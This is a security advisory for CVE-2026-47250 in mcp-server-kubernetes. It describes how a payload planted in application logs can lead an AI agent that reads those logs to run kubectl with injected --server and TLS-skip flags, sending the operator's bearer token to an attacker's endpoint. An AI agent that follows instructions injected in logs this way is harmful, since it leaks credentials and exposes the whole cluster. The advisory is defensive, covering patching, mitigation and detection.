CVE-2026-47250: mcp-server-kubernetes kubectl Argument Injection Privilege Escalation

Technical summary

CVE-2026-47250 is an argument injection vulnerability (CWE-88) in mcp-server-kubernetes's kubectl_generic tool. The tool accepts user-supplied kubectl flags without any validation or allowlist, and passes them directly to the kubectl command. An attacker who plants a malicious JSON payload in application logs can inject flags like --server=https://attacker.example.com and --insecure-skip-tls-verify=true. When an operator uses the MCP server to parse or read these logs through an AI agent, kubectl will execute with the injected flags and transmit the Authorization Bearer token from the operator's kubeconfig to the attacker-controlled endpoint. The token is valid against the real Kubernetes API server and carries all RBAC permissions of the operator's service account. The vulnerability is patched in version 3.7.0 with proper input validation.

Business impact

Successful exploitation leads to unauthorized access to Kubernetes infrastructure with the same privileges as the affected operator. An attacker can read, modify, or delete workloads; access secrets and sensitive data stored in the cluster; exfiltrate container images and application code; disrupt service availability; or establish persistence through backdoored deployments. For organizations running sensitive workloads—databases, machine learning pipelines, financial systems—on Kubernetes, this represents a path from limited developer access to full cluster control. Incident response costs, forensics, and remediation of a compromised cluster are substantial.

Affected systems

mcp-server-kubernetes versions prior to 3.7.0 are affected. The vulnerability requires a specific attack chain: (1) an attacker with pod-deployment or similar limited permissions in the cluster or access to the codebase; (2) an operator or AI agent using the mcp-server-kubernetes MCP server to process or read application logs; (3) that operator or AI agent having a valid kubeconfig with elevated privileges. Organizations using mcp-server-kubernetes in production environments where multiple privilege levels coexist should prioritize assessment.

Exploitability

The CVSS 3.1 score of 6.1 (MEDIUM) reflects the high barrier to exploitation: an attacker must already have limited cluster access or codebase write permission, a privileged operator must interact with the MCP server, and the operator's AI agent must follow the injected instruction. However, the barrier is not insurmountable. In environments where developers commit code to shared repositories and operators use AI-assisted tools to diagnose issues, this attack chain is plausible. No exploit code is known to be publicly available, and CVE-2026-47250 is not currently on the CISA Known Exploited Vulnerabilities (KEV) catalog, suggesting active exploitation is limited—though this does not eliminate risk.

Remediation

Upgrade mcp-server-kubernetes to version 3.7.0 or later immediately. Version 3.7.0 introduces input validation and an allowlist for kubectl flags, preventing injection of arbitrary arguments. Organizations unable to upgrade immediately should restrict access to mcp-server-kubernetes to operators with only necessary privileges, isolate MCP server instances to private networks, and disable AI agent access to untrusted log sources until patching is complete.

Patch guidance

Download and deploy mcp-server-kubernetes 3.7.0 from the official repository. Test the patched version in a non-production environment first to ensure compatibility with your MCP server configuration and AI agent workflows. Verify that the patched version correctly validates flag inputs and rejects malformed or injection-bearing payloads. If you maintain a custom or forked version of mcp-server-kubernetes, apply the same input validation and allowlisting logic to your kubectl_generic tool. Consider running mcp-server-kubernetes in a container or isolated environment with reduced network access and RBAC permissions sufficient only for legitimate cluster queries.

Detection guidance

Monitor kubectl logs for unusual --server or --insecure-skip-tls-verify flags that point to non-standard endpoints. Inspect kubeconfig bearer token usage for requests originating from unexpected source IPs or at unusual times. Audit MCP server logs for invocations of kubectl_generic with suspicious or malformed arguments. Correlate MCP server activity with application log injection attempts—look for JSON payloads in logs that contain kubectl flags. Implement network egress rules to block kubectl API calls to servers outside your Kubernetes control plane. Use admission controllers to restrict which ServiceAccounts can be bound to privileged operators' identities.

Why prioritize this

Although the CVSS score is MEDIUM and the vulnerability requires multiple preconditions, the impact of a successful attack—full Kubernetes cluster compromise—is critical. Any organization running mcp-server-kubernetes in an environment where developers and operators coexist should treat this as a priority. The fix is available and straightforward (a version upgrade), making remediation low-friction. Delay increases the window of exposure in adversary-rich environments or for organizations that have not yet validated that the preconditions are absent.

Risk score, explained

The CVSS 3.1 score of 6.1 reflects a high-impact vulnerability (confidentiality breach via stolen credentials and Kubernetes cluster compromise) with a moderately high barrier to exploitation (attacker must have initial access, operator must interact with the server, and the AI agent must follow instructions). The attack vector is network-based, but requires human interaction (UI:R); the scope changes (from the operator's machine to the entire Kubernetes cluster); and while no network access is needed after token theft, the initial injection does require the attacker's server to be reachable. Organizations with strong segmentation, restricted developer permissions, and auditing of operator activities may find their actual risk lower; those with weak access controls may find it higher.

Frequently asked questions